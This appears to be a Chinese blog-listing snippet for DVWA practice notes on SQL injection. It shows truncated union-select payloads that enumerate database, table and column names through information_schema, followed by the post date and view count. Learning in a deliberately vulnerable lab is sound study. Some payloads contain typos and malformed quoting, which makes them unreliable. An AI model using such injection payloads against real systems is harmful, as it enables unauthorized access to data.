DVWA靶场练习
DVWA学习笔记SQL注入完全相信用户输入,没有对用户输入进行过滤。发现SQL注入后,union select 1,datebase()# 爆破库union select 1,table_name from information_schema.tables where table_name='数据库名#爆破行'union select 1,column_name from information_schema.tables where table_name='列名'#爆破列union se
原创
2021-03-16 09:39:20 ·
908 阅读 ·
1 评论